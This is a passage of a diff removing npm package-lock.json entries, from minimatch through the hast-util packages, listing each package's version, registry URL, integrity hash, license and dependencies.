"https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", - "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "dev": true, - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/finalhandler": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz", - "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==", - "license": "MIT", - "dependencies": { - "debug": "2.6.9", - "encodeurl": "~2.0.0", - "escape-html": "~1.0.3", - "on-finished": "~2.4.1", - "parseurl": "~1.3.3", - "statuses": "~2.0.2", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/finalhandler/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/finalhandler/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT" - }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/flat-cache": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "flatted": "^3.2.9", - "keyv": "^4.5.4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/flatted": { - "version": "3.4.2", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", - "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", - "dev": true, - "license": "ISC" - }, - "node_modules/fn.name": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz", - "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==", - "license": "MIT" - }, - "node_modules/follow-redirects": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", - "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], - "license": "MIT", - "engines": { - "node": ">=4.0" - }, - "peerDependenciesMeta": { - "debug": { - "optional": true - } - } - }, - "node_modules/for-each": { - "version": "0.3.5", - "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", - "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-callable": "^1.2.7" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/form-data": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", - "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.2", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/format": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz", - "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==", - "engines": { - "node": ">=0.4.x" - } - }, - "node_modules/forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/framer-motion": { - "version": "12.38.0", - "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-12.38.0.tgz", - "integrity": "sha512-rFYkY/pigbcswl1XQSb7q424kSTQ8q6eAC+YUsSKooHQYuLdzdHjrt6uxUC+PRAO++q5IS7+TamgIw1AphxR+g==", - "license": "MIT", - "dependencies": { - "motion-dom": "^12.38.0", - "motion-utils": "^12.36.0", - "tslib": "^2.4.0" - }, - "peerDependencies": { - "@emotion/is-prop-valid": "*", - "react": "^18.0.0 || ^19.0.0", - "react-dom": "^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@emotion/is-prop-valid": { - "optional": true - }, - "react": { - "optional": true - }, - "react-dom": { - "optional": true - } - } - }, - "node_modules/fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/fs-extra": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", - "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "dev": true, - "license": "ISC" - }, - "node_modules/fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/function.prototype.name": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", - "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.3", - "define-properties": "^1.2.1", - "functions-have-names": "^1.2.3", - "hasown": "^2.0.2", - "is-callable": "^1.2.7" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/functions-have-names": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", - "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/generator-function": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz", - "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/gensync": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true, - "license": "ISC", - "engines": { - "node": "6.* || 8.* || >= 10.*" - } - }, - "node_modules/get-east-asian-width": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz", - "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-port": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/get-port/-/get-port-5.1.1.tgz", - "integrity": "sha512-g/Q1aTSDOxFpchXC4i8ZWvxA1lnPqx/JHqcpIw0/LX9T8x/GBbi6YnlN5nhaKIFkT8oFsscUKgDJYxfwfS6QsQ==", - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", - "dev": true, - "license": "MIT", - "dependencies": { - "pump": "^3.0.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/get-symbol-description": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", - "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-tsconfig": { - "version": "4.14.0", - "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.14.0.tgz", - "integrity": "sha512-yTb+8DXzDREzgvYmh6s9vHsSVCHeC0G3PI5bEXNBHtmshPnO+S5O7qgLEOn0I5QvMy6kpZN8K1NKGyilLb93wA==", - "dev": true, - "license": "MIT", - "dependencies": { - "resolve-pkg-maps": "^1.0.0" - }, - "funding": { - "url": "https://github.com/privatenumber/get-tsconfig?sponsor=1" - } - }, - "node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", - "dev": true, - "license": "ISC", - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/global-agent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-3.0.0.tgz", - "integrity": "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==", - "dev": true, - "license": "BSD-3-Clause", - "optional": true, - "dependencies": { - "boolean": "^3.0.1", - "es6-error": "^4.1.1", - "matcher": "^3.0.0", - "roarr": "^2.15.3", - "semver": "^7.3.2", - "serialize-error": "^7.0.1" - }, - "engines": { - "node": ">=10.0" - } - }, - "node_modules/globals": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", - "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/globalthis": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", - "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "define-properties": "^1.2.1", - "gopd": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/goober": { - "version": "2.1.19", - "resolved": "https://registry.npmjs.org/goober/-/goober-2.1.19.tgz", - "integrity": "sha512-U7veizMqxyKlM58+Z5j2ngJBH/r9siDmxpvNxSw0PylF6WQvrASJEZrxh1hidRBJc2jqoBVSyOban5u8m+6Rxg==", - "license": "MIT", - "peerDependencies": { - "csstype": "^3.0.10" - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/got": { - "version": "11.8.6", - "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", - "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@sindresorhus/is": "^4.0.0", - "@szmarczak/http-timer": "^4.0.5", - "@types/cacheable-request": "^6.0.1", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^5.0.3", - "cacheable-request": "^7.0.2", - "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", - "lowercase-keys": "^2.0.0", - "p-cancelable": "^2.0.0", - "responselike": "^2.0.0" - }, - "engines": { - "node": ">=10.19.0" - }, - "funding": { - "url": "https://github.com/sindresorhus/got?sponsor=1" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "license": "ISC" - }, - "node_modules/graphql": { - "version": "16.14.1", - "resolved": "https://registry.npmjs.org/graphql/-/graphql-16.14.1.tgz", - "integrity": "sha512-cQOsSMS/IrDz82PVyRDvf/Q1F/bRbBVjJlh+xYOkI1qw2bWRvWGiWc+m2O0d6l4Bt1fyY+8kzJ8JFWGJqNeDBg==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.22.0 || ^14.16.0 || ^16.0.0 || >=17.0.0" - } - }, - "node_modules/has-bigints": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", - "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/has-property-descriptors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", - "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-define-property": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-proto": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", - "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hasown": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/hast-util-from-parse5": { - "version": "8.0.3", - "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.3.tgz", - "integrity": "sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/unist": "^3.0.0", - "devlop": "^1.0.0", - "hastscript": "^9.0.0", - "property-information": "^7.0.0", - "vfile": "^6.0.0", - "vfile-location": "^5.0.0", - "web-namespaces": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-parse-selector": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz", - "integrity": "sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-raw": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.1.0.tgz", - "integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/unist": "^3.0.0", - "@ungap/structured-clone": "^1.0.0", - "hast-util-from-parse5": "^8.0.0", - "hast-util-to-parse5": "^8.0.0", - "html-void-elements": "^3.0.0", - "mdast-util-to-hast": "^13.0.0", - "parse5": "^7.0.0", - "unist-util-position": "^5.0.0", - "unist-util-visit": "^5.0.0", - "vfile": "^6.0.0", - "web-namespaces": "^2.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-raw/node_modules/entities": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", - "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/hast-util-raw/node_modules/parse5": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", - "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", - "license": "MIT", - "dependencies": { - "entities": "^6.0.0" - }, - "funding": { - "url": "https://github.com/inikulin/parse5?sponsor=1" - } - }, - "node_modules/hast-util-sanitize": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/hast-util-sanitize/-/hast-util-sanitize-5.0.2.tgz", - "integrity": "sha512-3yTWghByc50aGS7JlGhk61SPenfE/p1oaFeNwkOOyrscaOkMGrcW9+Cy/QAIOBpZxP1yqDIzFMR0+Np0i0+usg==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@ungap/structured-clone": "^1.0.0", - "unist-util-position": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-to-jsx-runtime": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz", - "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==", - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0", - "@types/hast": "^3.0.0", - "@types/unist": "^3.0.0", - "comma-separated-tokens": "^2.0.0", - "devlop": "^1.0.0", - "estree-util-is-identifier-name": "^3.0.0", - "hast-util-whitespace": "^3.0.0", - "mdast-util-mdx-expression": "^2.0.0", - "mdast-util-mdx-jsx": "^3.0.0", - "mdast-util-mdxjs-esm": "^2.0.0", - "property-information": "^7.0.0", - "space-separated-tokens": "^2.0.0", - "style-to-js": "^1.0.0", - "unist-util-position": "^5.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-to-parse5": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.1.tgz", - "integrity": "sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "comma-separated-tokens": "^2.0.0", - "devlop": "^1.0.0", - "property-information": "^7.0.0", - "space-separated-tokens": "^2.0.0", - "web-namespaces": "^2.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hast-util-whitespace": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz", - "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/hastscript": { - "version": "9.0.1", - "resolved": 